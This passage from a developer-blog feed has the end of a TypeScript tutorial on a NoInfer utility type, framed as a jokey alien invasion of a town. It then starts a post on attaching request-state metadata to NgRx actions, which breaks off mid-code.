&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;conductExpeditions&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;expeditions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ExpeditionChangeFn&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typescript knows that a function passed as an &lt;code&gt;expedition&lt;/code&gt; should return a function that returns &lt;code&gt;T&lt;/code&gt;. This is how Typescript correctly infers &lt;code&gt;T&lt;/code&gt; for the return type of &lt;code&gt;eradicate&lt;/code&gt;, actually! &lt;code&gt;eradicate&lt;/code&gt;'s generic is inferable from the return type, which is contextually known to be &lt;code&gt;T&lt;/code&gt; from the &lt;code&gt;conductExpeditions&lt;/code&gt; signature.&lt;/p&gt;

&lt;p&gt;In the case of the &lt;code&gt;interfere&lt;/code&gt; function, Typescript is preferring to infer from the value passed into its first argument instead of contextually for the return type.&lt;/p&gt;

&lt;p&gt;There isn't a built-in way to tell Typescript to not infer a generic type from a parameter. But, we can create a utility type for this named &lt;code&gt;NoInfer&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;NoInfer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;infer&lt;/span&gt; &lt;span class="nx"&gt;S&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;S&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;never&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conditional types allow us to &lt;a href="https://dev.to/aexol/typescript-tutorial-infer-keyword-2cn"&gt;&lt;code&gt;infer&lt;/code&gt;&lt;/a&gt; the types from generics. This is helpful to infer the type of the elements of an array, for example, like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;ElementsOfArray&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;infer&lt;/span&gt; &lt;span class="nx"&gt;E&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;E&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;never&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// becomes `1 | 2 | 3`&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;OneTwoOrThree&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ElementsOfArray&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;NoInfer&lt;/code&gt; doesn't appear to do anything at first. Since it infers &lt;code&gt;S&lt;/code&gt; directly from &lt;code&gt;T&lt;/code&gt;, it looks like it just repeats whatever type is passed into it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// becomes `string`&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;StringAgain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;NoInfer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But &lt;a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-8.html#type-inference-in-conditional-types" rel="noopener noreferrer"&gt;the inference of conditional types is deferred in certain scenarios&lt;/a&gt;. In this case, the condition depends on a type variable &lt;code&gt;T&lt;/code&gt; to determine &lt;code&gt;S&lt;/code&gt;, and the conditional type is deferred. &lt;/p&gt;

&lt;p&gt;So for &lt;code&gt;interfere&lt;/code&gt;, that type variable is inferred from the expected return type of an element of &lt;code&gt;expeditions&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;Excited by this new knowledge, we change the definition of &lt;code&gt;interfere&lt;/code&gt; to use &lt;code&gt;NoInfer&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrap T with NoInfer 👇&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;ResearchTarget&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;afterInterference&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Partial&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;NoInfer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;ExpeditionChangeFn&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All our plans should now be successful, and strongly typed to boot 👾.&lt;/p&gt;

&lt;p&gt;Let's make sure our invasion runs as expected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Before expeditions:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;smallville&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;smallvilleAfterExpeditions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;smallTownResearchShip&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;conductExpeditions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cornFields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽🌽🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽⏀🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;people&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🧑&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nf"&gt;eradicate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;smallville&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looking at our console output, it seems our invasion went flawlessly!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[LOG]: "Before expeditions:",  {
  "people": [
    "🧑",
    "🧑"
  ],
  "cows": [
    "🐮",
    "🐮",
    "🐮"
  ],
  "cornFields": [
    "🌽🌽🌽",
    "🌽🌽🌽"
  ]
} 
[LOG]: "After expedition 1:",  {
  "people": [
    "🧑",
    "🧑"
  ],
  "cows": [
    "🐮",
    "🐮",
    "🐮"
  ],
  "cornFields": [
    "🌽🌽🌽",
    "🌽⏀🌽"
  ]
} 
[LOG]: "After expedition 2:",  {
  "people": [
    "🧑",
    "🧑"
  ],
  "cows": [],
  "cornFields": [
    "🌽🌽🌽",
    "🌽⏀🌽"
  ]
} 
[LOG]: "After expedition 3:",  {
  "people": [
    "🧑"
  ],
  "cows": [],
  "cornFields": [
    "🌽🌽🌽",
    "🌽⏀🌽"
  ]
} 
[LOG]: "After expedition 4:",  {
  "people": [],
  "cows": [],
  "cornFields": []
} 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;I hope the lens of extraterrestrial conquest has been helpful for thinking about this weird edge of the Typescript inference system. Please examine the full example in the Typescript playground &lt;a href="https://www.typescriptlang.org/play?#code/C4TwDgpgBAShDOECGAnAxgCwCqoOYWCgF4oBvAKCigG0UFl0MBlAVwCMArCNYALinjAUASwB2uALr8AgihRIQAHkEjxAPgDc5AL5byoSFAAKEFPAD2o4lABEgPg3Ai7s2tB6AGFzAd2s3AvBuA6Hed9cHdzFFEAMWEIABsAEx9AHg3AXn2UlJsoAB9bFMAB4nS9V1gWeRisLysSCipIczAYiBk5BUUTM0tNSig0L3gm+SUPT06qHvCo2Li+qFkBxQ9x6PjO3XJyHtFBAQBbJBiYgDdhfcbi0vLPSrIu2vrT6nsnABpbRxsJJ66ez2mHgJsXn5AoD-h8vmFIkspvwHmlUskATl4ekwatgoYAKIAD0gcWEwGEljcGCQ4ggEVEiiwUAgWOAEFEU1g9FQmBwKHwwDU1gAFMAKvwsABKYjcrB6NAxJDweDMxCs5gYYRgKk0ukMplweWMdmc7nVKBgdgxYRobqWOIsHjY3H4wmbHkAOmdtNtBMs01mLRtEDx7tExNJ+ApVLUaiF-ANVEs-D5AqgwtFCa0VG01yoVDowBKVijGZjUDjlxFRDUXQzGddvrtHsddEtaAgPJ5SAAZvSUD6-fb4C8q93LC9hCX9eWKxmNls2x2uzWrv25y326ZZ-74EKU+OK5PzA1HTFzLgeQADaTLlBqt32qAAElIwigAGooABGbS8Y8vacrnHV-0bsctyzHMoG-TtfwHURNy3bQXn5YtPgrVZUx0NZJ0IeBdn2C5RC1BhMCYJUwGsUQIG8PCFUI5VFBgEo9hwtQeQA9FoAAOXMABJURW1MUNrGpWl6UZWUxB4i8mCgAB+KAJP4UiDlMPRWxYUQeGvMQOzEiBVUEjVZQonU8AIRiujArjNNMBlG34IxUAJPZFHYrixNDMsIygVd7UDMkQywUdMwIECi1EEd0wzYDwjCitnUdeDREQ8cYrM0QLLoVSIAS1NN1WbQ1mU1T-RpeQ8TQJB6R09VhLlfDsCMrkmP4TyiRJHzKT8sKIqsYLQrzTqoAAeU4bhgEdaV4GEXBRB5QCyFgmaYsGrgeEdABrCAQHgbrHV2MBm3gdgluAUKeVIGh9qGngpBoCQoG0IUhTHACstQ9YPV3CB90PHkbAAIQgVswmgBc114RFML2Q5jgaZj0J2CGjhOM8ZwgudZRIcHsIqAyCKIrpHQ2BtgCah0xw00wtJO81FkmX4bDhdJATyFFbqFTKoDJlAKdO75fhuu62Y5rnDQgOoGhhR53hZtnTCQEqyqbB6qEVqBHUsHkMchk4AKAA" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Describe Your NgRx Actions More To Write Less Code</title>
      <dc:creator>David</dc:creator>
      <pubDate>Sat, 06 Mar 2021 05:31:18 +0000</pubDate>
      <link>https://dev.to/davidshortman/describe-your-ngrx-actions-more-to-write-less-code-1fij</link>
      <guid>https://dev.to/davidshortman/describe-your-ngrx-actions-more-to-write-less-code-1fij</guid>
      <description>&lt;p&gt;Actions describe events in our NgRx-powered applications.&lt;/p&gt;

&lt;p&gt;When we fail to sufficiently describe our actions, we get duplicative code. This results in higher maintenance cost and slower time to implement features.&lt;/p&gt;

&lt;p&gt;Instead, we can define a structure for action metadata, and inject that into our actions when they are instantiated.&lt;/p&gt;

&lt;p&gt;Then, we can more generically react to actions with that metadata while preserving good action hygiene and allowing actions to continue to operate for their more narrow purposes.&lt;/p&gt;

&lt;h2&gt;
  
  
  An example
&lt;/h2&gt;

&lt;p&gt;Consider the following action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LoadBillingAddressSuccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[Address API] Load Billing Address Success&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Address&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When an instance of this action is instantiated, it will be an object that looks something like&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[Address API] Load Billing Address Success&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* some address */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examining the object, we know that the action&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;is a discrete event named &lt;code&gt;[Address API] Load Billing Address Success&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;occurred for a given &lt;code&gt;address&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With that information, we are able to write a useful state change in our reducer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LoadBillingAddressSuccess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;address&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;billingAddress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;address&lt;/span&gt;
&lt;span class="p"&gt;}))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The feature requirements
&lt;/h3&gt;

&lt;p&gt;Say we were given two requirements for displaying this billing address on a webpage:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;While the billing address is loading, show a loading indicator panel&lt;/li&gt;
&lt;li&gt;When the billing address fails to load, show a failure toast notification&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Surveying a possible implementation
&lt;/h3&gt;

&lt;p&gt;For the loading indicator panel, it would make sense to have some kind of "request state" we can track.&lt;/p&gt;

&lt;p&gt;Depending on if the request state is in progress or has completed, we can display either the loading indicator or the address component.&lt;/p&gt;

&lt;p&gt;When we go to implement this, however, we find that this idea has already been implemented for another request state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// in the reducer&lt;/span&gt;
&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LoadHomeAddressStarted&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;loadHomeAddressRequestState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;started&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;})),&lt;/span&gt;
&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LoadHomeAddressSuccessful&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;loadHomeAddressRequestState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;successful&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;}))&lt;/span&gt;

&lt;span class="c1"&gt;// in the selectors&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selectLoadHomeAddressRequestState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;selectAddressesState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;loadHomeAddressRequestState&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selectLoadHomeAddressRequestStateIsInProgress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createSelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;selectLoadHomeAddressRequestState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;requestState&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;requestState&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;started&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similarly, for the failure toast notification, we find that an effect already exists for the "home address" as well:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;showLoadHomeAddressFailedNotification$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;actions$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;ofType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LoadHomeAddressFailed&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nf"&gt;tap&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notificationService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Failed to load Home Address&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;failure&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Dealing with common requirements
&lt;/h3&gt;

&lt;p&gt;While the billing address and home address-related actions are all distinct, they seem to be related by having common resulting behavior.&lt;/p&gt;

&lt;p&gt;Without breaking good action hygiene, we can better describe our actions to easily react to them in a more generic way.&lt;/p&gt;

&lt;h4&gt;
  
  
  Describing actions as request state milestones
&lt;/h4&gt;

&lt;p&gt;We can define a request state and describe actions as a milestone for a stage of that request state.&lt;/p&gt;

&lt;p&gt;Without worrying about the internal details, say I have a function like &lt;code&gt;createRequestState&lt;/code&gt; that operates like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LoadBillingAddressRequestState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createRequestState&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;LoadBillingAddressRequestState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;aSuccess&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// produces an object like&lt;/span&gt;
&lt;span class="cm"&gt;/*
  {
    requestStateMetadata: {
      uuid: 'some-uuid',
      milestone: 'success'
    }
  }
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then by using the "creator" API of &lt;code&gt;createAction&lt;/code&gt;, we can inject this metadata into the payload of our action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LoadBillingAddressSuccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[Address API] Load Billing Address Success&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Address&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;properties&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;LoadBillingAddressRequestState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;aSuccess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
